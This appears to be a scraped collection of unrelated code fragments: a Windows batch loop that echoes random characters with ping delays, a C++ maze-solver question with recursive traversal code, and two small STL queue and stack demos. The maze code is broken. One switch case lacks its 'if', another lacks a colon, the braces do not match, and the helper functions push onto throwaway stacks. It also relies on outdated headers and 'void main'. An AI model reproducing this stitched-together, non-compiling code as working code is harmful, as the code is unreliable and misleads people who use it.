echo A k L 9 D7 g 2 k M E 9 g h 6 Ğ * ^ 3 Z p o g
ping localhost n -1
>nul
echo A k L 9 D7 g 2 k M E 9 g h 6 Ğ * ^ 3 Z p o g

ping localhost n -1
>nul
echo A k L 9 D7 g 2 k M E 9 g h 6 Ğ * ^ 3 Z p o g

ping localhost n -1
>nul

goto a

How can i solve a maze?

#include <stdlib.h>    // allows use of = clrscreen();
#include <conio.h>
#include <fstream>
#include <iostream.h>
#include <iomanip> 

#include <stack.h>

#include "clear.h"


using namespace std;
void Traverse( char[][80], int, int, int);
void Maze(const char[][80]);
bool validmove(const char[][80],int,int);               
bool Edge (int,int);
enum direction {DOWN,RIGHT,UP,LEFT};  //0,1,2,3
const int x = 2;
const int y = 0;
////****Main****////

 void pushX(int);
 void pushY(int);
 

int main()
   {
       char maze[25][80]; 
                    
                        
                        
                         
                       
   ifstream infile;
   infile.open("25X80_1.txt");
 
    for (int i = 0; i < 25; i++) {
         for (int j = 0; j < 80; j++) {
                     infile>>maze[i][j];   
                   }
                    //cout<<'\n'; 
            }
    
    Traverse(maze,x,y,RIGHT);                       
        
    system("PAUSE");
    return 0;
}

 
void Traverse(char maze[][80], int xlocation, int ylocation, int direction)  
 {
       
        stack< int > s;       
        
        
     maze[xlocation][ylocation]='Ü';   
       
       cout<<"Determining current state "<<endl<<"Array"; 
       pushX(xlocation);
       pushY(ylocation);
        
       cout<<endl<<endl;
                    
       
         
       //popY(ylocation);
    //  popX(xlocation);  
       
         cout<<endl<<endl;
        
      Maze(maze); 
       clrscreen();
       // pushArray();   
           
           
           
    if (Edge(xlocation,ylocation) && xlocation!=x && ylocation!=y)  
         {
         cout<<"Maze game SOLVED!!! \n";  
               
            return;
          }
               else {
              
    for (int move =direction,count=0;count<4;count++,move++,move%=4)   
                  
            switch (move){
      case DOWN:
      if ( validmove(maze,xlocation+1,ylocation) ) 
      {
     Traverse(maze,xlocation+1,ylocation,LEFT);
     return;
      }
       break;
      case RIGHT:  
      if (validmove(maze,xlocation,ylocation+1))
       {
         Traverse(maze,xlocation,ylocation+1,DOWN);
                         return;
            }

           break;
                                                                    
       case UP:
  (validmove(maze,xlocation-1,ylocation))
              {
                 Traverse(maze,xlocation-1,ylocation,RIGHT);
                          return;
                 }
         break;
                                                                        
        case LEFT 
     if (validmove(maze,xlocation,ylocation-1))
          {
            Traverse(maze,xlocation,ylocation-1,UP);
            return;
           break;
                    }    //end switch
                     }      //end for loop
                      }    //end Travers function




           
     bool validmove(const char maze[][80],int r, int c)    
              {
                return (r>=0 && r<=24 && c>=0 && c<=79 && maze[r][c]!='*');       
              }

    

     bool Edge(int x ,int y)   
            {
               if ((x==0||x==24)&&(y>=0&&y<=79))
                return true;
                else if ((y==0||y==79)&&(x>=0&&x<=24)) 
                return true;
                else
                return false;
            }

      
      
     void Maze(const char maze[][80]) {

      
             


         for (int x=0;x<25;x++)  {
                    for (int y=0;y<80;y++)  {
                         cout<<maze[x][y];    
                        }  
                   cout<<'\n';
                }

                // cout<<"Press Enter for the next move\n";
               cin.get();
                 
            }

     void pushX(int x ){  //push row
       
           stack< int > s;   
            s.push( x );
          cout <<"["<<s.top()<<"]";
           
         }
     
     
     void pushY(int y ){    //push column
        stack< int > s;   
   
        s.push( y );
        cout <<"["<<s.top()<<"]";
      
} 
 
 

Standart Template Library >> Queue

#include<iostream>
#include<queue>
#include<stdio.h>

using namespace std;

void main(){
  queue<int>x;
  for(int i=1;i<=10;i++)
    x.push(i);
 while(!x.empty()){
    cout << x.front() << endl;
    x.pop();
 }
}

Standart Template Library >> Stack

Standard Template Library >> Stack

#include<iostream>
#include<stdio.h>
#include<stack>

using namespace std;
void main(){

 stack<int>x;//stack name is x
  for(int i=0;i<=4;i++)
       x.push(i);
while(!x.empty()){
   
       cout << x.top() << endl;
                    x.pop();
    }

}